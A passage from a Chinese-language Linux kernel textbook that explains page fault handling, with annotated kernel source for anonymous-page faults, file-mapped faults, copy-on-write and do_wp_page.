52              flush_tlb_fix_spurious_fault(vma, address);
53   }
54unlock:
55   pte_unmap_unlock(pte, ptl);
56   return 0;
57}

handle_pte_fault()函数中第7行的注释说明有的处理器体系结构会大于8Byte的pte表项,例如ppc44x定义了CONFIG_PTE_64BIT和CONFIG_32BIT,所以READ_ONCE()和ACCESS_ONCE()并不保证访问的原子性,所以这里需要一个内存屏障以保证正确读取了pte表项内容后才会执行后面的判断语句。

后续的代码可以分为三部分来理解。

1.第17~29行代码是pte_present()为0的情况,页不在内存中,即pte表项中的L_PTE_PRESENT位没有置位,所以pte还没有映射物理页面,这是真正的缺页。

(1)如果pte内容为空,即pte_none()。

(2)如果pte内容不为空且PRESENT没有置位,说明该页被交换到swap分区,则调用do_swap_page()函数。

2.第31~40行代码,这里是pte有映射物理页面,但因为之前的pte设置了只读,现在需要可写操作,所以触发了写时复制缺页中断。例如父子进程之间共享的内存,当其中一方需要写入新内容时,就会触发写时复制。

第35行代码,如果传进来的flag设置了可写的属性且当前pte是只读的,那么调用do_wp_page()函数并返回。

如果当前pte的属性是可写的,那么通过pte_mkdirty()函数来设置L_PTE_DIRTY比特位。页在内存中且pte也具有可写属性,什么情况下会运行到第39行代码呢?此问题留给读者思考。

3.第41~53行代码,pte_mkyoung()对于x86体系结构是设置_PAGE_ACCESSED位的,这相对简单些。对于ARM体系结构是设置Linux版本的页表中PTE页表项的L_PTE_YOUNG位,是否需要写入ARM硬件版本的页表由set_pte_at()函数来决定。

第42~43行代码,如果pte内容发生变化,则需要把新的内容写入到pte表项中,并且要flush对应的TLB和cache。

对于ARM32体系结构来说,上述内容是一个很重要且值得关注的地方,也是模拟Linux版本页表的L_PTE_YOUNG的关键点之一,读者可以结合第2.2.1节和第2.13.1节来阅读。缺页中断的整体流程图如图2.19所示。

图2.19 缺页中断流程图

在缺页中断处理中,匿名页面处理的核心函数是do_anonymous_page(),代码实现在mm/memory.c文件中。在Linux内核中没有关联到文件映射的页面称为匿名页面(Anonymous Page,简称anon page)。

[handle_pte_fault()->do_anonymous_page()]

0 static int do_anonymous_page(struct mm_struct *mm, struct vm_area_struct *vma,
1         unsigned long address, pte_t *page_table, pmd_t *pmd,
2         unsigned int flags)
3 {
4    struct mem_cgroup *memcg;
5    struct page *page;
6    spinlock_t *ptl;
7    pte_t entry;
8 
9    pte_unmap(page_table);
10
11   /* Check if we need to add a guard page to the stack */
12   if (check_stack_guard_page(vma, address) < 0)
13         return VM_FAULT_SIGSEGV;
14
15   /* Use the zero-page for reads */
16   if (!(flags & FAULT_FLAG_WRITE) && !mm_forbids_zeropage(mm)) {
17         entry = pte_mkspecial(pfn_pte(my_zero_pfn(address),
18                        vma->vm_page_prot));
19         page_table = pte_offset_map_lock(mm, pmd, address, &ptl);
20         if (!pte_none(*page_table))
21               goto unlock;
22         goto setpte;
23   }
24
25   /* Allocate our own private page. */
26   if (unlikely(anon_vma_prepare(vma)))
27         goto oom;
28   page = alloc_zeroed_user_highpage_movable(vma, address);
29   if (!page)
30         goto oom;
31   /*
32    * The memory barrier inside __SetPageUptodate makes sure that
33    * preceeding stores to the page contents become visible before
34    * the set_pte_at() write.
35    */
36   __SetPageUptodate(page);
37
38   if (mem_cgroup_try_charge(page, mm, GFP_KERNEL, &memcg))
39        goto oom_free_page;
40
41   entry = mk_pte(page, vma->vm_page_prot);
42   if (vma->vm_flags & VM_WRITE)
43        entry = pte_mkwrite(pte_mkdirty(entry));
44
45   page_table = pte_offset_map_lock(mm, pmd, address, &ptl);
46   if (!pte_none(*page_table))
47         goto release;
48
49   inc_mm_counter_fast(mm, MM_ANONPAGES);
50   page_add_new_anon_rmap(page, vma, address);
51   mem_cgroup_commit_charge(page, memcg, false);
52   lru_cache_add_active_or_unevictable(page, vma);
53setpte:
54   set_pte_at(mm, address, page_table, entry);
55
56   /* No need to invalidate - it was non-present before */
57   update_mmu_cache(vma, address, page_table);
58unlock:
59   pte_unmap_unlock(page_table, ptl);
60   return 0;
61release:
62   mem_cgroup_cancel_charge(page, memcg);
63   page_cache_release(page);
64   goto unlock;
65oom_free_page:
66   page_cache_release(page);
67oom:
68   return VM_FAULT_OOM;
69}

第12行代码,check_stack_guard_page()函数判断当前VMA是否需要添加一个guard page作为安全垫。

根据参数flags是否需要可写权限,代码可以分为如下两部分。

(1)分配属性是只读的,例如第16~22行代码。当需要分配的内存只有只读属性,系统会使用一个全填充为0的全局页面empty_zero_page,称为零页面(ZERO_PAGE)。这个零页面是一个special mapping的页面,读者可以看第2.8节中关于vm_normal_page()函数的介绍。那么这个零页面是怎么来的呢?

[arch/arm/mm/mmu.c]

/*
 * empty_zero_page is a special page that is used for
 * zero-initialized data and COW.
 */
struct page *empty_zero_page;
EXPORT_SYMBOL(empty_zero_page);

[include/asm-generic/pgtable.h]

/*
 * ZERO_PAGE is a global shared page that is always zero: used
 * for zero-mapped memory areas etc..
 */
extern struct page *empty_zero_page;
#define ZERO_PAGE(vaddr) (empty_zero_page)
#define my_zero_pfn(addr)page_to_pfn(ZERO_PAGE(addr)) 

在系统启动时,paging_init()函数分配一个页面用作零页面。

[arch/arm/mm/mmu.c]

void __init paging_init(const struct machine_desc *mdesc)
{
     void *zero_page;
     …
     /* allocate the zero page. */
 zero_page = early_alloc(PAGE_SIZE);
 empty_zero_page = virt_to_page(zero_page);
     __flush_dcache_page(NULL, empty_zero_page);
}

第17行代码,使用零页面来生成一个新的PTE entry,然后使用pte_mkspecial()设置新PTE entry中的PTE_SPECIAL位。在2级页表的ARM32实现中没有PTE_SPECIAL比特位,而在ARM64的实现中有比特位。

[arch/arm64/include/asm/pgtable.h]

static inline pte_t pte_mkspecial(pte_t pte)
{
     return set_pte_bit(pte, __pgprot(PTE_SPECIAL));
}

[arch/arm/include/asm/pgtable-2level.h]
 

static inline pte_t pte_mkspecial(pte_t pte) { return pte; } ``` 第19行代码pte_offset_map_lock()获取当前pte页表项,注意这里获取了一个spinlock锁,所以在函数返回时需要释放这个锁,例如第59行代码中的pte_unmap_unlock()。 ``` #define pte_offset_map_lock(mm, pmd, address, ptlp) \ ({ \ spinlock_t *__ptl = pte_lockptr(mm, pmd); \ pte_t *__pte = pte_offset_map(pmd, address); \ *(ptlp) = __ptl; \ spin_lock(__ptl); \ __pte; \ }) ``` 如果获取的pte表项内容不为空,那么跳转到setpte标签处去设置硬件pte表项,即把新的PTE entry设置到硬件页表中。 (2)分配属性是可写的,见第26~52行代码。使用alloc_zeroed_user_highpage_movable()函数来分配一个可写的匿名页面,其分配页面的掩码是(\_\_GFP_MOVABLE | \_\_GFP_WAIT | \_\_GFP_IO | \_\_GFP_FS | \_\_GFP_HARDWALL | \_\_GFP_HIGHMEM),最终还是调用伙伴系统的核心API函数alloc_pages(),所以这里分配的页面会优先使用高端内存。然后通过mk_pte()、pte_mkdirty()和pte_mkwrite等宏生成一个新PTE entry,并通过set_pte_at()函数设置到硬件页表中。inc_mm_counter_fast()增加系统中匿名页面的统计计数,匿名页面的计数类型是MM_ANONP AGES。page_add_new_anon_rmap()把匿名页面添加到RMAP反向映射系统中。lru_cache_add_active_or_unevictable()把匿名页面添加到LRU链表中,在kswap内核模块中会用到LRU链表。 如图2.20所示是do anonymous page()函数流程图。 ![](/api/storage/getbykey/original?key=17088c9b643c3b2b3d39) 图2.20 do_anonymous_page()函数流程图 ### 2.10.3 文件映射缺页中断 下面来看页面不在内存中且页表项内容为空(!pte_present(entry) && pte_none(entry))的另外一种情况,即VMA定义了fault方法函数(vma->vm_ops->fault())。

[handle_pte_fault()->do_fault()]

0 static int do_fault(struct mm_struct *mm, struct vm_area_struct *vma,
1          unsigned long address, pte_t *page_table, pmd_t *pmd,
2          unsigned int flags, pte_t orig_pte)
3 {
4     pgoff_t pgoff = (((address & PAGE_MASK)
5              - vma->vm_start) >> PAGE_SHIFT) + vma->vm_pgoff;
6 
7     pte_unmap(page_table);
8     if (!(flags & FAULT_FLAG_WRITE))
9           return do_read_fault(mm, vma, address, pmd, pgoff, flags,
10                   orig_pte);
11    if (!(vma->vm_flags & VM_SHARED))
12          return do_cow_fault(mm, vma, address, pmd, pgoff, flags,
13                   orig_pte);
14    return do_shared_fault(mm, vma, address, pmd, pgoff, flags, orig_pte);
15}

do_fault()函数处理VMA中的vm_ops操作函数集里定义了fault函数指针的情况,具体可以分成如下3种情况。

下面首先来看只读异常的情况,即do_read_fault()函数。

[handle_pte_fault()->do_fault()->do_read_fault()]

0 static int do_read_fault(struct mm_struct *mm, struct vm_area_struct *vma,
1         unsigned long address, pmd_t *pmd,
2         pgoff_t pgoff, unsigned int flags, pte_t orig_pte)
3 {
4    struct page *fault_page;
5    spinlock_t *ptl;
6    pte_t *pte;
7    int ret = 0;
8 
9    /*
10    * Let's call ->map_pages() first and use ->fault() as fallback
11    * if page by the offset is not ready to be mapped (cold cache or
12    * something).
13    */
14   if (vma->vm_ops->map_pages && fault_around_bytes >> PAGE_SHIFT > 1) {
15        pte = pte_offset_map_lock(mm, pmd, address, &ptl);
16        do_fault_around(vma, address, pte, pgoff, flags);
17        if (!pte_same(*pte, orig_pte))
18              goto unlock_out;
19        pte_unmap_unlock(pte, ptl);
20   }
21
22   ret = __do_fault(vma, address, pgoff, flags, NULL, &fault_page);
23   if (unlikely(ret & (VM_FAULT_ERROR | VM_FAULT_NOPAGE | VM_FAULT_RETRY)))
24        return ret;
25
26   pte = pte_offset_map_lock(mm, pmd, address, &ptl);
27   if (unlikely(!pte_same(*pte, orig_pte))) {
28        pte_unmap_unlock(pte, ptl);
29        unlock_page(fault_page);
30        page_cache_release(fault_page);
31        return ret;
32   }
33   do_set_pte(vma, address, fault_page, pte, false, false);
34   unlock_page(fault_page);
35unlock_out:
36   pte_unmap_unlock(pte, ptl);
37   return ret;
38}

第14行代码,VMA定义了map_pages()方法,可以围绕在缺页异常地址周围提前映射尽可能多的页面。提前建立进程地址空间和page cache的映射关系有利于减少发生缺页中断的次数,从而提高效率。注意,这里只是和现存的page cache提前建立映射关系,而不会去创建page cache,创建新的page cache是在__do_fault()函数中。fault_around_bytes是一个全局变量,定义在mm/memory.c文件中,默认是65536Byte,即16个页面大小。

static unsigned long fault_around_bytes __read_mostly =
     rounddown_pow_of_two(65536);

第16行代码的do_fault_around()函数定义如下:

0 static void do_fault_around(struct vm_area_struct *vma, unsigned long address,
1        pte_t *pte, pgoff_t pgoff, unsigned int flags)
2 {
3   unsigned long start_addr, nr_pages, mask;
4   pgoff_t max_pgoff;
5   struct vm_fault vmf;
6   int off;
7 
8   nr_pages = ACCESS_ONCE(fault_around_bytes) >> PAGE_SHIFT;
9   mask = ~(nr_pages * PAGE_SIZE - 1) & PAGE_MASK;
10
11  start_addr = max(address & mask, vma->vm_start);
12  off = ((address - start_addr) >> PAGE_SHIFT) & (PTRS_PER_PTE - 1);
13  pte -= off;
14  pgoff -= off;
15
16  /*
17   *  max_pgoff is either end of page table or end of vma
18   *  or fault_around_pages() from pgoff, depending what is nearest.
19   */
20  max_pgoff = pgoff - ((start_addr >> PAGE_SHIFT) & (PTRS_PER_PTE - 1)) +
21     PTRS_PER_PTE - 1;
22  max_pgoff = min3(max_pgoff, vma_pages(vma) + vma->vm_pgoff - 1,
23         pgoff + nr_pages - 1);
24
25  /* Check if it makes any sense to call ->map_pages */
26  while (!pte_none(*pte)) {
27      if (++pgoff > max_pgoff)
28           return;
29      start_addr += PAGE_SIZE;
30      if (start_addr >= vma->vm_end)
31            return;
32      pte++;
33  }
34
35  vmf.virtual_address = (void __user *) start_addr;
36  vmf.pte = pte;
37  vmf.pgoff = pgoff;
38  vmf.max_pgoff = max_pgoff;
39  vmf.flags = flags;
40  vma->vm_ops->map_pages(vma, &vmf);
41}

do_fault_around()函数以当前缺页异常地址addr为中心,start_addr是以16个page大小对齐的起始地址,然后从start_addr开始去检查相应的pte是否空。若为空,则从这个pte开始到max_pgoff为止使用VMA的操作函数map_pages()来映射PTE,除非所需要的page cache还没有准备好或page cache被锁住了。该函数预测异常地址周围的page cache可能会被马上读取,所以把已经有的page cache提前建立好映射,有利于减少发生缺页中断的次数,但注意并不会去新建page cache。这个函数流程图如图2.21所示。

图2.21 do_fault_around()函数

真正为异常地址分配page cache是在do_read_fault()函数第22行代码中的__do_fault()函数。

[handle_pte_fault()->do_fault()->do_read_fault()->__do_fault()]

0 static int __do_fault(struct vm_area_struct *vma, unsigned long address,
1             pgoff_t pgoff, unsigned int flags,
2             struct page *cow_page, struct page **page)
3 {
4    struct vm_fault vmf;
5    int ret;
6 
7    vmf.virtual_address = (void __user *)(address & PAGE_MASK);
8    vmf.pgoff = pgoff;
9    vmf.flags = flags;
10   vmf.page = NULL;
11   vmf.cow_page = cow_page;
12
13   ret = vma->vm_ops->fault(vma, &vmf);
14   if (unlikely(ret & (VM_FAULT_ERROR | VM_FAULT_NOPAGE | VM_FAULT_RETRY)))
15        return ret;
16   if (!vmf.page)
17        goto out;
18   
19   if (unlikely(!(ret & VM_FAULT_LOCKED)))
20        lock_page(vmf.page);
21   else
22        VM_BUG_ON_PAGE(!PageLocked(vmf.page), vmf.page);
23
24 out:
25   *page = vmf.page;
26   return ret;
27}

最终调用vma->vm_ops->fault()函数新建一个page cache。第19行代码,如果返回值ret不包含VM_FAULT_LOCKED,那么调用lock_page()函数为page加锁PG_locked,否则,在打开了CONFIG_DEBUG_VM的情况下,会去检查这个page是否已经locked了。

回到do_read_fault()函数的第27行代码,重新读取当前缺页异常地址addr对应pte的值与以前读出来的值是否一致。如果不一致,说明这期间有人修改了pte,那么刚才通过__do_fault()函数分配的页面就没用了。

第33行代码,do_set_pte()利用刚才分配的页面新生成一个PTE entry设置到硬件页表项中。

下面来看私有映射且发生写时复制COW的情况。

[handle_pte_fault()->do_fault()->do_cow_fault()]

0 static int do_cow_fault(struct mm_struct *mm, struct vm_area_struct *vma,
1         unsigned long address, pmd_t *pmd,
2         pgoff_t pgoff, unsigned int flags, pte_t orig_pte)
3 {
4    struct page *fault_page, *new_page;
5    struct mem_cgroup *memcg;
6    spinlock_t *ptl;
7    pte_t *pte;
8    int ret;
9 
10   if (unlikely(anon_vma_prepare(vma)))
11        return VM_FAULT_OOM;
12
13   new_page = alloc_page_vma(GFP_HIGHUSER_MOVABLE, vma, address);
14   if (!new_page)
15         return VM_FAULT_OOM;
16
17   if (mem_cgroup_try_charge(new_page, mm, GFP_KERNEL, &memcg)) {
18        page_cache_release(new_page);
19        return VM_FAULT_OOM;
20   }
21
22   ret = __do_fault(vma, address, pgoff, flags, new_page, &fault_page);
23   if (unlikely(ret & (VM_FAULT_ERROR | VM_FAULT_NOPAGE | VM_FAULT_RETRY)))
24        goto uncharge_out;
25
26   if (fault_page)
27        copy_user_highpage(new_page, fault_page, address, vma);
28   __SetPageUptodate(new_page);
29
30   pte = pte_offset_map_lock(mm, pmd, address, &ptl);
31   if (unlikely(!pte_same(*pte, orig_pte))) {
32        pte_unmap_unlock(pte, ptl);
33        if (fault_page) {
34              unlock_page(fault_page);
35              page_cache_release(fault_page);
36        } else {
37             /*
38              * The fault handler has no page to lock, so it holds
39              * i_mmap_lock for read to protect against truncate.
40              */
41             i_mmap_unlock_read(vma->vm_file->f_mapping);
42        }
43        goto uncharge_out;
44   }
45   do_set_pte(vma, address, new_page, pte, true, true);
46   mem_cgroup_commit_charge(new_page, memcg, false);
47   lru_cache_add_active_or_unevictable(new_page, vma);
48   pte_unmap_unlock(pte, ptl);
49   if (fault_page) {
50         unlock_page(fault_page);
51         page_cache_release(fault_page);
52   } else {
53        /*
54         * The fault handler has no page to lock, so it holds
55         * i_mmap_lock for read to protect against truncate.
56         */
57        i_mmap_unlock_read(vma->vm_file->f_mapping);
58   }
59   return ret;
60uncharge_out:
61   mem_cgroup_cancel_charge(new_page, memcg);
62   page_cache_release(new_page);
63   return ret;
64}

do_cow_fault()函数在处理私有文件映射的VMA中发生了写时复制。

第10行代码,anon_vma_prepare()函数检查该VMA是否初始化了RMAP反向映射。

第13行代码,为GFP_HIGHUSER | __GFP_MOVABLE的新页面new_page分配一个分配掩码,也就是优先使用高端内存highmem。

第22行代码,__do_fault()函数通过vma->vm_ops->fault()函数读取文件内容到fault_page页面里。

第26~27行代码,把fault_page页面的内容复制到刚才新分配的页面new_page中。

第30~44行代码,重新获取该异常地址对应的页表项pte,如果当前pte的内容和之前的org_pte内容不一样,说明期间有人修改了pte,那么释放new_page和fault_page并返回。

第45行代码,利用new_page新生成一个PTE entry并设置到硬件页表项pte中,并且把new_page加入到活跃的LRU链表中,然后释放fault_page。

下面来看共享文件映射中发生写缺页异常的情况。

[handle_pte_fault()->do_fault()->do_shared_fault()]

0 static int do_shared_fault(struct mm_struct *mm, struct vm_area_struct *vma,
1         unsigned long address, pmd_t *pmd,
2         pgoff_t pgoff, unsigned int flags, pte_t orig_pte)
3 {
4    struct page *fault_page;
5    struct address_space *mapping;
6    spinlock_t *ptl;
7    pte_t *pte;
8    int dirtied = 0;
9    int ret, tmp;
10
11   ret = __do_fault(vma, address, pgoff, flags, NULL, &fault_page);
12   if (unlikely(ret & (VM_FAULT_ERROR | VM_FAULT_NOPAGE | VM_FAULT_RETRY)))
13        return ret;
14
15   /*
16    * Check if the backing address space wants to know that the page is
17    * about to become writable
18    */
19   if (vma->vm_ops->page_mkwrite) {
20        unlock_page(fault_page);
21        tmp = do_page_mkwrite(vma, fault_page, address);
22        if (unlikely(!tmp ||
23                   (tmp & (VM_FAULT_ERROR | VM_FAULT_NOPAGE)))) {
24             page_cache_release(fault_page);
25             return tmp;
26        }
27   }
28
29   pte = pte_offset_map_lock(mm, pmd, address, &ptl);
30   if (unlikely(!pte_same(*pte, orig_pte))) {
31         pte_unmap_unlock(pte, ptl);
32         unlock_page(fault_page);
33         page_cache_release(fault_page);
34         return ret;
35   }
36   do_set_pte(vma, address, fault_page, pte, true, false);
37   pte_unmap_unlock(pte, ptl);
38
39   if (set_page_dirty(fault_page))
40         dirtied = 1;
41   /*
42    * Take a local copy of the address_space - page.mapping may be zeroed
43    * by truncate after unlock_page().   The address_space itself remains
44    * pinned by vma->vm_file's reference.  We rely on unlock_page()'s
45    * release semantics to prevent the compiler from undoing this copying.
46    */
47   mapping = fault_page->mapping;
48   unlock_page(fault_page);
49   if ((dirtied || vma->vm_ops->page_mkwrite) && mapping) {
50        /*
51         * Some device drivers do not set page.mapping but still
52         * dirty their pages
53         */
54        balance_dirty_pages_ratelimited(mapping);
55   }
56
57   if (!vma->vm_ops->page_mkwrite)
58         file_update_time(vma->vm_file);
59
60   return ret;
61}

do_shared_fault()函数处理在一个可写的共享映射中发生缺页中断的情况。

第11行代码,首先通过__do_fault()函数读取文件内容到fault_page页面中。

第19~27行代码,如果VMA的操作函数中定义了page_mkwrite()方法,那么调用page_mkwrite()来通知进程地址空间, page将变成可写的。一个页面变成可写的,那么进程有可能需要等待这个page的内容回写成功(writeback)。

第29~35行代码,判断该异常地址对应的硬件页表项pte的内容是否与之前的pte一致。

第36行代码,利用fault_page新生成一个PTE entry并设置到硬件页表项pte中,注意这里设置PTE为可写属性。

第39行代码,设置page为脏页面。

第49~55行代码,通过balance_dirty_pages_ratelimited()函数来平衡并回写一部分脏页面。

do_wp_page()函数处理那些用户试图修改pte页表没有可写属性的页面,它新分配一个页面并且复制旧页面内容到新的页面中。do_wp_page()函数比较长,下面分段来阅读。

[do_wp_page()]

0  static int do_wp_page(struct mm_struct *mm, struct vm_area_struct *vma,
1         unsigned long address, pte_t *page_table, pmd_t *pmd,
2         spinlock_t *ptl, pte_t orig_pte)
3    __releases(ptl)
4  {
5    struct page *old_page, *new_page = NULL;
6    pte_t entry;
7    int ret = 0;
8    int page_mkwrite = 0;
9    bool dirty_shared = false;
10   unsigned long mmun_start = 0;     /* For mmu_notifiers */
11   unsigned long mmun_end = 0;     /* For mmu_notifiers */
12   struct mem_cgroup *memcg;
13 
14   old_page = vm_normal_page(vma, address, orig_pte);
15   if (!old_page) {
16   /*
17    * VM_MIXEDMAP !pfn_valid() case, or VM_SOFTDIRTY clear on a
18    * VM_PFNMAP VMA.
19    *
20    * We should not cow pages in a shared writeable mapping.
21    * Just mark the pages writable as we can't do any dirty
22    * accounting on raw pfn maps.
23    */
24   if ((vma->vm_flags & (VM_WRITE|VM_SHARED)) ==
25                (VM_WRITE|VM_SHARED))
26         goto reuse;
27   goto gotten;
28  }

首先通过vm_normal_page()函数查找缺页异常地址addr对应页面的struct page数据结构,返回normal mapping页面。vm_normal_page()函数返回page指针为NULL,说明这是一个special mapping的页面。

第15~24行代码,这里考虑的页面是可写且共享的special页面。如果VMA的属性是可写且共享的,那么跳转到reuse标签处,resue标签处会继续使用这个页面,不会做写时复制的操作。否则就跳转到gotten标签处,gotten标签处会分配一个新的页面进行写时复制操作。

[do_wp_page()]

…
30  /*
31   * Take out anonymous pages first, anonymous shared vmas are
32   * not dirty accountable.
33   */
34  if (PageAnon(old_page) && !PageKsm(old_page)) {
35       if (!trylock_page(old_page)) {
36             page_cache_get(old_page);
37             pte_unmap_unlock(page_table, ptl);
38             lock_page(old_page);
39             page_table = pte_offset_map_lock(mm, pmd, address,
40                               &ptl);
41             if (!pte_same(*page_table, orig_pte)) {
42                   unlock_page(old_page);
43                   goto unlock;
44             }
45             page_cache_release(old_page);
46       }
47       if (reuse_swap_page(old_page)) {
48             /*
49              * The page is all ours.  Move it to our anon_vma so
50              * the rmap code will not search our parent or siblings.
51              * Protected against the rmap code by the page lock.
52              */
53             page_move_anon_rmap(old_page, vma, address);
54             unlock_page(old_page);
55             goto reuse;
56       }
57       unlock_page(old_page);
58   }

第34行代码,判断当前页面是否为不属于KSM的匿名页面[7]。利用page->mapping成员的最低2个比特位来判断匿名页面使用PageAnon()宏,定义在include/linux/mm.h文件中。

第35行代码,trylock_page(old_page)函数判断当前的old_page是否已经加锁,trylock_page()返回false,说明这个页面已经被别的进程加锁,所以第38行代码会使用lock_page()等待其他进程释放了锁才有机会获取锁。第36行代码,page_cache_get()增加page数据结构中_count计数。

trylock_page()和lock_page()这两个函数看起来很像,但它们有着很大的区别。trylock_page()定义在include/linux/pagemap.h文件中,它使用test_and_set_bit_lock()为page的flags原子地设置PG_locked标志位,并返回这个标志位的原来值。如果page的PG_locked位已经置位,那么当前进程调用trylock_lock()返回false,说明有别的进程已经锁住了这个page。

[include/asm-generic/bitops/lock.h]

#define test_and_set_bit_lock(nr, addr)     test_and_set_bit(nr, addr)

[include/linux/pagemap.h]

static inline int trylock_page(struct page *page)
{
     return (likely(!test_and_set_bit_lock(PG_locked, &page->flags)));
}

PG_locked比特位属于struct page数据结构中的flags成员,内核中利用flags成员定义了很多不同用途的标志位,定义在include/linux/page-flags.h头文件中。

[include/linux/page-flags.h]

enum pageflags {
   PG_locked,          /* Page is locked. Don't touch. */
   PG_error,
   PG_referenced,
   PG_uptodate,
   PG_dirty,
   PG_lru,
   PG_active,
   …

lock_page()会睡眠等待锁持有者释放该页锁。

[mm/filemap.c]

void __lock_page(struct page *page)
{
     DEFINE_WAIT_BIT(wait, &page->flags, PG_locked);

     __wait_on_bit_lock(page_waitqueue(page), &wait, bit_wait_io,
                             TASK_UNINTERRUPTIBLE);
}

[include/linux/pagemap.h]

static inline void lock_page(struct page *page)
{
     might_sleep();
     if (!trylock_page(page))
           __lock_page(page);
}

回到do_wp_page()函数中,第47行代码reuse_swap_page()函数判断old_page页面是否只有一个进程映射匿名页面。如果只是单独映射,可以跳转到reuse标签处继续使用这个页面并且不需要写时复制。本章把只有一个进程映射的匿名页面称为单身匿名页面。

[do_wp_page()->reuse_swap_page()]

int reuse_swap_page(struct page *page)
{
     int count;

     VM_BUG_ON_PAGE(!PageLocked(page), page);
     if (unlikely(PageKsm(page)))
          return 0;
     count = page_mapcount(page);
     if (count <= 1 && PageSwapCache(page)) {
          count += page_swapcount(page);
          if (count == 1 && !PageWriteback(page)) {
               delete_from_swap_cache(page);
               SetPageDirty(page);
          }
     }
     return count <= 1;
}

reuse_swap_page()函数通过page_mapcount()读取页面的_mapcount计数到变量count中,并且返回“count是否小于等于1”。count为1,表示只有一个进程映射了这个页面。pageSwapCache()判断页面是否处于swap cache中,这个场景下的页面不属于swap cache。

[do_wp_page()]

…
58  } else if (unlikely((vma->vm_flags & (VM_WRITE|VM_SHARED)) ==
59                       (VM_WRITE|VM_SHARED))) {
60       page_cache_get(old_page);
61       /*
62        * Only catch write-faults on shared writable pages,
63        * read-only shared pages can get COWed by
64        * get_user_pages(.write=1, .force=1).
65        */
66       if (vma->vm_ops && vma->vm_ops->page_mkwrite) {
67           int tmp;
68 
69             pte_unmap_unlock(page_table, ptl);
70             tmp = do_page_mkwrite(vma, old_page, address);
71             if (unlikely(!tmp || (tmp &
72                        (VM_FAULT_ERROR | VM_FAULT_NOPAGE)))) {
73                  page_cache_release(old_page);
74                  return tmp;
75             }
76             /*
77              * Since we dropped the lock we need to revalidate
78              * the PTE as someone else may have changed it.  If
79              * they did, we just return, as we can count on the
80              * MMU to tell us if they didn't also make it writable.
81              */
82             page_table = pte_offset_map_lock(mm, pmd, address,
83                               &ptl);
84             if (!pte_same(*page_table, orig_pte)) {
85                   unlock_page(old_page);
86                   goto unlock;
87             }
88             page_mkwrite = 1;
89        }
90 
91        dirty_shared = true;
92 
93 reuse:
94        /*
95         * Clear the pages cpupid information as the existing
96         * information potentially belongs to a now completely
97         * unrelated process.
98         */
99        if (old_page)
100             page_cpupid_xchg_last(old_page, (1 << LAST_CPUPID_SHIFT) - 1);
101
102       flush_cache_page(vma, address, pte_pfn(orig_pte));
103       entry = pte_mkyoung(orig_pte);
104       entry = maybe_mkwrite(pte_mkdirty(entry), vma);
105       if (ptep_set_access_flags(vma, address, page_table, entry,1))
106            update_mmu_cache(vma, address, page_table);
107       pte_unmap_unlock(page_table, ptl);
108       ret |= VM_FAULT_WRITE;
109
110       if (dirty_shared) {
111             struct address_space *mapping;
112             int dirtied;
113
114             if (!page_mkwrite)
115                   lock_page(old_page);
116
117             dirtied = set_page_dirty(old_page);
118             VM_BUG_ON_PAGE(PageAnon(old_page), old_page);
119             mapping = old_page->mapping;
120             unlock_page(old_page);
121             page_cache_release(old_page);
122
123             if ((dirtied || page_mkwrite) && mapping) {
124                  /*
125                   * Some device drivers do not set page.mapping
126                   * but still dirty their pages
127                   */
128                  balance_dirty_pages_ratelimited(mapping);
129             }
130
131             if (!page_mkwrite)
132                   file_update_time(vma->vm_file);
133        }
134
135        return ret;
136     }

第34~57行代码处理不属于KSM的匿名页面的情况,到了第58行代码的位置,可以考虑的页面只剩下page cache页面和KSM页面了。

第60行代码处理可写且共享的上述两种页面。

第60~89行代码,如果VMA的操作函数定义了page_mkwrite()函数指针,那么调用do_page_mkwrite()函数。page_mkwrite()用于通知之前只读页面现在要变成可写页面了。

下面来看第93行代码的reuse标签处,reuse的意思是复用旧页面。

第102行代码,刷新这个单页面对应的cache。

第103行代码,pte_mkyoung()设置pte的访问位,x86处理器是_PAGE_ACCESSED,ARM32处理器中是Linux版本的页表项中的L_PTE_YOUNG位,ARM64处理器是PTE_AF。

第104行代码,pte_mkdirty()设置pte中的DIRTY位。maybe_mkwrite()根据VMA属性是否具有可写属性来设置pte中的可写标志位,ARM32处理器清空linux版本页表的L_PTE_RDONLY位,ARM64处理器设置PTE_WRITE位。

第105行代码,ptep_set_access_flags()把PTE entry设置到硬件的页表项pte中。

第110~133行代码,用于处理dirty_shared。从之前的代码来分析,有如下两种情况不处理页面的DIRTY情况。

因为special mapping的页面不参与系统的回写操作,另外只有一个进程映射的匿名页面也只设置pte的可写标志位。

第117行代码设置page的DIRTY状态,然后调用balance_dirty_pages_ratelimited()函数来平衡并回写一部分脏页面。

第135行代码,函数返回VM_FAULT_WRITE。

所有具有可写且共享属性的页面,以及只映射一个进程的匿名页面发生的写错误缺页中断,都会重用原来的page,并且设置pte的DIRTY标志位和可写标志位。

下面来看gotten标签处的情况,gotten表示需要新建一个页面,也就是写时复制。

138 /*
139  * Ok, we need to copy. Oh, well..
140  */
141 page_cache_get(old_page);
142gotten:
143 pte_unmap_unlock(page_table, ptl);
144
145 if (unlikely(anon_vma_prepare(vma)))
146      goto oom;
147
148 if (is_zero_pfn(pte_pfn(orig_pte))) {
149       new_page = alloc_zeroed_user_highpage_movable(vma, address);
150       if (!new_page)
151         goto oom;
152 } else {
153      new_page = alloc_page_vma(GFP_HIGHUSER_MOVABLE, vma, address);
154      if (!new_page)
155            goto oom;
156       cow_user_page(new_page, old_page, address, vma);
157 }
158 __SetPageUptodate(new_page);
159
160 if (mem_cgroup_try_charge(new_page, mm, GFP_KERNEL, &memcg))
161      goto oom_free_new;
162
163 mmun_start  = address & PAGE_MASK;
164 mmun_end     = mmun_start + PAGE_SIZE;
165 mmu_notifier_invalidate_range_start(mm, mmun_start, mmun_end);
166
167 /*
168  * Re-check the pte - we dropped the lock
169  */
170 page_table = pte_offset_map_lock(mm, pmd, address, &ptl);
171 if (likely(pte_same(*page_table, orig_pte))) {
172        if (old_page) {
173              if (!PageAnon(old_page)) {
174                   dec_mm_counter_fast(mm, MM_FILEPAGES);
175                   inc_mm_counter_fast(mm, MM_ANONPAGES);
176             }
177        } else
178             inc_mm_counter_fast(mm, MM_ANONPAGES);
179        flush_cache_page(vma, address, pte_pfn(orig_pte));
180        entry = mk_pte(new_page, vma->vm_page_prot);
181        entry = maybe_mkwrite(pte_mkdirty(entry), vma);
182        /*
183         * Clear the pte entry and flush it first, before updating the
184         * pte with the new entry. This will avoid a race condition
185         * seen in the presence of one thread doing SMC and another
186         * thread doing COW.
187         */
188        ptep_clear_flush_notify(vma, address, page_table);
189        page_add_new_anon_rmap(new_page, vma, address);
190        mem_cgroup_commit_charge(new_page, memcg, false);
191        lru_cache_add_active_or_unevictable(new_page, vma);
192        /*
